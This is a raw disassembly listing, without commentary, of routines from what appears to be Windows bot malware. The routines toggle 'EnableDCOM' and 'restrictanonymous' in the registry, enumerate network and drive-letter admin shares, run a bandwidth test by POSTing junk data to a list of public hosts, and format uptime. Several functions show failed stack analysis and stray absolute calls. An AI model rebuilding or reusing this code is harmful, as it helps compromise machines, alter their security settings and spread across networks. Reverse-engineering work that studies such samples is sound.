--------------------------------------------------------------------------- loc_419BF5: ; CODE XREF: sub_419B0F+45j push offset unk_439948 push ebx push dword_4DB238 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push 1 nop call near ptr 26F0000h loc_419C19: ; CODE XREF: sub_419B0F+6Bj call sub_419A20 push offset unk_439920 push ebx push dword_4DB238 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push edi nop call near ptr 26F0000h loc_419C41: ; CODE XREF: sub_419B0F+C3j push offset unk_4398F0 push ebx push dword_4DB238 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push edi nop call near ptr 26F0000h sub_419B0F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419C64 proc near ; CODE XREF: sub_401ACD+2507p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_419A20 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset dword_43350C push esi call dword_4CB030 test eax, eax jz loc_419D5E push 1 lea eax, [ebp+var_1C] pop ebx mov edi, dword_4270FC push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi test eax, eax jz loc_419D5E lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi test eax, eax jz loc_419D5E mov edi, dword_4270F8 push 3 push esi push esi push offset dword_4DB1FC call edi push eax push [ebp+var_8] call edi push eax nop call near ptr 2720000h test eax, eax jz short loc_419D5E push 10h lea eax, [ebp+var_2C] push esi push eax call sub_41B590 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_41B590 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset dword_43D128 push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si nop call near ptr 2670B1Dh test eax, eax jnz short loc_419D66 loc_419D5E: ; CODE XREF: sub_419C64+2Fj ; sub_419C64+5Cj ... or eax, 0FFFFFFFFh jmp loc_419E14 ; --------------------------------------------------------------------------- loc_419D66: ; CODE XREF: sub_419C64+F8j push [ebp+var_4] mov edi, dword_427068 call edi mov eax, [ebp+var_10] push [ebp+var_28] mov dword_4DB1F8, eax mov eax, [ebp+var_8] mov dword_4DB200, eax mov eax, [ebp+var_2C] mov dword_4DB1F4, eax call edi mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_4DB238, eax jz short loc_419DA0 push [ebp+arg_4] jmp short loc_419DA1 ; --------------------------------------------------------------------------- loc_419DA0: ; CODE XREF: sub_419C64+135j push ebx loc_419DA1: ; CODE XREF: sub_419C64+13Aj push offset dword_4DB204 call sub_41B886 pop ecx pop ecx push esi push 0Ah push offset unk_4399AC call sub_40B0F6 mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_43DEB8[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_419B0F push esi push esi nop call near ptr 2690088h cmp eax, esi mov dword_43DEC4[edi], eax jnz short loc_419E12 call near ptr 26908FFh nop push eax lea eax, [ebp+var_378] push offset unk_439978 push eax call sub_41B886 lea eax, [ebp+var_378] push eax call sub_4151AC add esp, 10h loc_419E12: ; CODE XREF: sub_419C64+185j xor eax, eax loc_419E14: ; CODE XREF: sub_419C64+FDj pop edi pop esi pop ebx leave retn sub_419C64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E19 proc near ; DATA XREF: sub_401ACD+2E0Bo var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_419E60 call sub_419E79 jmp short loc_419E65 ; --------------------------------------------------------------------------- loc_419E60: ; CODE XREF: sub_419E19+3Ej call sub_41A19D loc_419E65: ; CODE XREF: sub_419E19+45j add esp, 10h push [ebp+var_14] call sub_40B412 pop ecx push 0 nop call near ptr 26F0000h sub_419E19 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E79 proc near ; CODE XREF: sub_419E19+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_4CB044, edi jnz loc_419FAB lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CAFE4 test eax, eax jnz short loc_419F04 mov ax, word_438724 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CAF98 test eax, eax jz short loc_419EE6 push offset dword_439C48 jmp short loc_419EEB ; --------------------------------------------------------------------------- loc_419EE6: ; CODE XREF: sub_419E79+64j push offset dword_439C28 loc_419EEB: ; CODE XREF: sub_419E79+6Bj lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF50 jmp short loc_419F17 ; --------------------------------------------------------------------------- loc_419F04: ; CODE XREF: sub_419E79+36j lea eax, [ebp+var_214] push offset dword_439BF8 push eax call sub_41B886 pop ecx pop ecx loc_419F17: ; CODE XREF: sub_419E79+89j cmp [ebp+arg_C], edi jnz short loc_419F36 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_419F36: ; CODE XREF: sub_419E79+A1j lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CAFE4 test eax, eax jnz short loc_419FA4 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_4CAF98 test eax, eax jz short loc_419F86 push offset dword_439BA8 jmp short loc_419F8B ; --------------------------------------------------------------------------- loc_419F86: ; CODE XREF: sub_419E79+104j push offset dword_439B74 loc_419F8B: ; CODE XREF: sub_419E79+10Bj lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF50 jmp short loc_419FBE ; --------------------------------------------------------------------------- loc_419FA4: ; CODE XREF: sub_419E79+E2j push offset dword_439B38 jmp short loc_419FB0 ; --------------------------------------------------------------------------- loc_419FAB: ; CODE XREF: sub_419E79+13j push offset dword_439B08 loc_419FB0: ; CODE XREF: sub_419E79+130j lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx loc_419FBE: ; CODE XREF: sub_419E79+129j cmp [ebp+arg_C], edi jnz short loc_419FDD push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_419FDD: ; CODE XREF: sub_419E79+148j lea eax, [ebp+var_214] push eax call sub_4151AC cmp dword_4CB06C, edi pop ecx jnz loc_41A158 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41A000: ; CODE XREF: sub_419E79+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_4CAEB8 cmp eax, edi mov [ebp+var_10], eax jz short loc_41A09D cmp eax, 0EAh jz short loc_41A09D mov esi, offset off_4399D0 loc_41A031: ; CODE XREF: sub_419E79+21Dj push dword ptr [esi] push edi call sub_418C6B pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_41A048 push offset dword_439AE4 jmp short loc_41A04D ; --------------------------------------------------------------------------- loc_41A048: ; CODE XREF: sub_419E79+1C6j push offset dword_439AB8 loc_41A04D: ; CODE XREF: sub_419E79+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41A080 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A080: ; CODE XREF: sub_419E79+1EBj lea eax, [ebp+var_214] push eax call sub_4151AC add esi, 8 pop ecx cmp esi, offset dword_4399F0 jb short loc_41A031 jmp loc_41A135 ; --------------------------------------------------------------------------- loc_41A09D: ; CODE XREF: sub_419E79+1AAj ; sub_419E79+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41A12C loc_41A0AC: ; CODE XREF: sub_419E79+2AFj mov edi, [esi] push edi call sub_41D817 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41A121 push edi call sub_418B58 push eax push 0 call sub_418C6B add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A0DB push offset dword_439A94 jmp short loc_41A0E0 ; --------------------------------------------------------------------------- loc_41A0DB: ; CODE XREF: sub_419E79+259j push offset dword_439A68 loc_41A0E0: ; CODE XREF: sub_419E79+260j lea eax, [ebp+var_214] push 200h push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A114 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A114: ; CODE XREF: sub_419E79+27Fj lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx loc_41A121: ; CODE XREF: sub_419E79+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_41A0AC xor edi, edi loc_41A12C: ; CODE XREF: sub_419E79+22Dj push [ebp+var_8] call dword_4CB004 loc_41A135: ; CODE XREF: sub_419E79+21Fj cmp [ebp+var_10], 0EAh jz loc_41A000 lea eax, [ebp+var_214] push offset dword_439A40 push eax call sub_41B886 pop ecx pop ecx pop ebx jmp short loc_41A16B ; --------------------------------------------------------------------------- loc_41A158: ; CODE XREF: sub_419E79+177j lea eax, [ebp+var_214] push offset dword_439A10 push eax call sub_41B886 pop ecx pop ecx loc_41A16B: ; CODE XREF: sub_419E79+2DDj cmp [ebp+arg_C], edi jnz short loc_41A189 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A189: ; CODE XREF: sub_419E79+2F5j lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx push 1 pop eax pop edi pop esi leave retn sub_419E79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A19D proc near ; CODE XREF: sub_419E19:loc_419E60p var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_4CB044, ebx push esi jnz loc_41A2CB lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CAFE4 test eax, eax jnz short loc_41A228 mov ax, word_438768 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CAF98 test eax, eax jz short loc_41A20A push offset dword_439DC0 jmp short loc_41A20F ; --------------------------------------------------------------------------- loc_41A20A: ; CODE XREF: sub_41A19D+64j push offset dword_439DA4 loc_41A20F: ; CODE XREF: sub_41A19D+6Bj lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF50 jmp short loc_41A23B ; --------------------------------------------------------------------------- loc_41A228: ; CODE XREF: sub_41A19D+36j lea eax, [ebp+var_220] push offset dword_439BF8 push eax call sub_41B886 pop ecx pop ecx loc_41A23B: ; CODE XREF: sub_41A19D+89j cmp [ebp+arg_C], ebx jnz short loc_41A25A push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A25A: ; CODE XREF: sub_41A19D+A1j lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CAFE4 test eax, eax jnz short loc_41A2C4 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_4CAF98 test eax, eax jz short loc_41A2A6 push offset dword_439D64 jmp short loc_41A2AB ; --------------------------------------------------------------------------- loc_41A2A6: ; CODE XREF: sub_41A19D+100j push offset dword_439D2C loc_41A2AB: ; CODE XREF: sub_41A19D+107j lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF50 jmp short loc_41A2DE ; --------------------------------------------------------------------------- loc_41A2C4: ; CODE XREF: sub_41A19D+E2j push offset dword_439CF0 jmp short loc_41A2D0 ; --------------------------------------------------------------------------- loc_41A2CB: ; CODE XREF: sub_41A19D+13j push offset dword_439B08 loc_41A2D0: ; CODE XREF: sub_41A19D+12Cj lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx loc_41A2DE: ; CODE XREF: sub_41A19D+125j cmp [ebp+arg_C], ebx jnz short loc_41A2FD push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A2FD: ; CODE XREF: sub_41A19D+144j lea eax, [ebp+var_220] push eax call sub_4151AC cmp dword_4CB06C, ebx pop ecx jnz loc_41A472 push edi mov esi, offset off_4399D0 mov edi, 200h loc_41A321: ; CODE XREF: sub_41A19D+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_418BBF add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A33C push offset dword_439CD0 jmp short loc_41A341 ; --------------------------------------------------------------------------- loc_41A33C: ; CODE XREF: sub_41A19D+196j push offset dword_439CA8 loc_41A341: ; CODE XREF: sub_41A19D+19Dj lea eax, [ebp+var_220] push edi push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41A370 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A370: ; CODE XREF: sub_41A19D+1B7j lea eax, [ebp+var_220] push eax call sub_4151AC add esi, 8 pop ecx cmp esi, offset off_4399E0 jb short loc_41A321 nop call near ptr 2831CD2h test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_41A45A loc_41A39B: ; CODE XREF: sub_41A19D+2B7j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41A44F cmp bl, 41h jz loc_41A44F movsx esi, bl push esi push offset aC_1 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_20] push esi push offset aC_0 ; "%c:\\" push 0Ah push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_20] push eax call dword_4CAFD4 cmp eax, 3 jnz short loc_41A44F lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_418BBF add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41A40D push offset dword_439CD0 jmp short loc_41A412 ; --------------------------------------------------------------------------- loc_41A40D: ; CODE XREF: sub_41A19D+267j push offset dword_439CA8 loc_41A412: ; CODE XREF: sub_41A19D+26Ej lea eax, [ebp+var_220] push edi push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A442 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A442: ; CODE XREF: sub_41A19D+289j lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx loc_41A44F: ; CODE XREF: sub_41A19D+206j ; sub_41A19D+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_41A39B loc_41A45A: ; CODE XREF: sub_41A19D+1F8j lea eax, [ebp+var_220] push offset dword_439C78 push eax call sub_41B886 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_41A485 ; --------------------------------------------------------------------------- loc_41A472: ; CODE XREF: sub_41A19D+173j lea eax, [ebp+var_220] push offset dword_439A10 push eax call sub_41B886 pop ecx pop ecx loc_41A485: ; CODE XREF: sub_41A19D+2D3j cmp [ebp+arg_C], ebx jnz short loc_41A4A3 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A4A3: ; CODE XREF: sub_41A19D+2EBj lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx push 1 pop eax pop esi pop ebx leave retn sub_41A19D endp ; =============== S U B R O U T I N E ======================================= sub_41A4B7 proc near ; CODE XREF: sub_41A6AE+CBp ; sub_41A6AE+DDp ... arg_0 = dword ptr 4 nop call near ptr 26A0617h push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq idiv [esp+arg_0] mov eax, edx retn sub_41A4B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A4D1 proc near ; CODE XREF: sub_41A6AE+D4p ; sub_41A6AE+E6p ... var_38 = dword ptr -38h var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+arg_0] call sub_41AFE0 mov esi, 0FFh pop ecx cmp eax, esi ja loc_41A6AA push 10h lea eax, [ebp+var_28] push 0 push eax call sub_41B590 push [ebp+arg_0] mov [ebp+var_28], 2 call sub_40AAF9 add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_41A6AA push 50h call dword_4CAF74 push 6 push 1 push 2 mov [ebp+var_26], ax call dword_4CAFF4 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41A6AA lea ecx, [ebp+var_28] push 10h push ecx push eax call dword_4CAF1C cmp eax, 0FFFFFFFFh jz loc_41A6AA push 32003h call sub_41CFC5 mov edi, dword_4270A8 mov ebx, eax pop ecx mov [ebp+var_8], ebx call edi push eax call sub_41B8D8 call sub_41B8E2 cdq idiv esi mov [esp+38h+var_38], 32001h push 0 push ebx movsx esi, dl call sub_41B590 push 32000h push esi push ebx call sub_41B590 push ebx call sub_41AFE0 push 323EAh mov ebx, eax call sub_41CFC5 add esp, 20h mov esi, eax push ebx push [ebp+arg_0] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi call sub_41B886 push [ebp+var_8] push esi call sub_41BEC0 push offset asc_43381C ; "\r\n" push esi call sub_41BEC0 push esi call sub_41AFE0 mov ebx, eax add esp, 24h mov [ebp+var_10], ebx call edi mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+arg_0], eax jbe short loc_41A62A mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_41A5FA ; --------------------------------------------------------------------------- loc_41A5F7: ; CODE XREF: sub_41A4D1+157j mov eax, [ebp+arg_0] loc_41A5FA: ; CODE XREF: sub_41A4D1+124j mov ecx, [ebp+var_10] push 0 sub ecx, eax cmp ecx, ebx jnb short loc_41A60A push [ebp+var_C] jmp short loc_41A60B ; --------------------------------------------------------------------------- loc_41A60A: ; CODE XREF: sub_41A4D1+132j push ebx loc_41A60B: ; CODE XREF: sub_41A4D1+137j add eax, esi push eax push [ebp+var_4] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jz short loc_41A691 add [ebp+arg_0], ebx sub [ebp+var_C], ebx mov eax, [ebp+arg_0] cmp eax, [ebp+var_10] jb short loc_41A5F7 loc_41A62A: ; CODE XREF: sub_41A4D1+11Aj call edi sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul flt_427714 fst [ebp+arg_0] fcomp flt_427710 fnstsw ax sahf jnz short loc_41A652 fld1 fstp [ebp+arg_0] loc_41A652: ; CODE XREF: sub_41A4D1+17Aj push [ebp+var_4] call dword_4CB00C push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+arg_0] fmul flt_42770C fmul flt_427708 call sub_41C798 loc_41A68C: ; CODE XREF: sub_41A4D1+1DBj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41A691: ; CODE XREF: sub_41A4D1+149j push [ebp+var_4] call dword_4CB00C push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx loc_41A6AA: ; CODE XREF: sub_41A4D1+19j ; sub_41A4D1+42j ... xor eax, eax jmp short loc_41A68C sub_41A4D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A6AE proc near ; CODE XREF: sub_401ACD+2E61p var_26C = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_41A4B7 push [ebp+eax*4+var_3C] call sub_41A4D1 push 8 mov esi, eax call sub_41A4B7 push [ebp+eax*4+var_3C] call sub_41A4D1 add esp, 10h test esi, esi jz short loc_41A7AF test eax, eax jz short loc_41A7AB lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41A7B1 ; --------------------------------------------------------------------------- loc_41A7AB: ; CODE XREF: sub_41A6AE+F4j mov ebx, esi jmp short loc_41A7B1 ; --------------------------------------------------------------------------- loc_41A7AF: ; CODE XREF: sub_41A6AE+F0j mov ebx, eax loc_41A7B1: ; CODE XREF: sub_41A6AE+FBj ; sub_41A6AE+FFj push 0Ch call sub_41A4B7 push [ebp+eax*4+var_6C] call sub_41A4D1 push 0Ch mov edi, eax call sub_41A4B7 push [ebp+eax*4+var_6C] call sub_41A4D1 add esp, 10h test edi, edi jz short loc_41A7E9 test eax, eax jz short loc_41A7E5 lea esi, [eax+edi] shr esi, 1 jmp short loc_41A7EB ; --------------------------------------------------------------------------- loc_41A7E5: ; CODE XREF: sub_41A6AE+12Ej mov esi, edi jmp short loc_41A7EB ; --------------------------------------------------------------------------- loc_41A7E9: ; CODE XREF: sub_41A6AE+12Aj mov esi, eax loc_41A7EB: ; CODE XREF: sub_41A6AE+135j ; sub_41A6AE+139j push 6 call sub_41A4B7 push [ebp+eax*4+var_1C] call sub_41A4D1 push 6 mov edi, eax call sub_41A4B7 push [ebp+eax*4+var_1C] call sub_41A4D1 add esp, 10h test edi, edi jz short loc_41A823 test eax, eax jz short loc_41A81F lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41A825 ; --------------------------------------------------------------------------- loc_41A81F: ; CODE XREF: sub_41A6AE+168j mov ecx, edi jmp short loc_41A825 ; --------------------------------------------------------------------------- loc_41A823: ; CODE XREF: sub_41A6AE+164j mov ecx, eax loc_41A825: ; CODE XREF: sub_41A6AE+16Fj ; sub_41A6AE+173j xor eax, eax test ebx, ebx jz short loc_41A832 mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41A835 ; --------------------------------------------------------------------------- loc_41A832: ; CODE XREF: sub_41A6AE+17Bj push 2 pop edi loc_41A835: ; CODE XREF: sub_41A6AE+182j test esi, esi jz short loc_41A83D add eax, esi jmp short loc_41A83E ; --------------------------------------------------------------------------- loc_41A83D: ; CODE XREF: sub_41A6AE+189j dec edi loc_41A83E: ; CODE XREF: sub_41A6AE+18Dj test ecx, ecx jz short loc_41A846 add eax, ecx jmp short loc_41A847 ; --------------------------------------------------------------------------- loc_41A846: ; CODE XREF: sub_41A6AE+192j dec edi loc_41A847: ; CODE XREF: sub_41A6AE+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+var_26C] push offset dword_439E18 push eax call sub_41B886 push 0 lea eax, [ebp+var_26C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_26C] push eax call sub_4151AC add esp, 30h pop edi pop esi pop ebx leave retn sub_41A6AE endp ; =============== S U B R O U T I N E ======================================= sub_41A88B proc near ; CODE XREF: sub_401ACD+25A0p ; sub_401ACD+2A10p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi call near ptr 26A0617h nop xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_4DB240 push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_41B980 add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41A88B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A8F4 proc near ; CODE XREF: sub_416F1A+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi 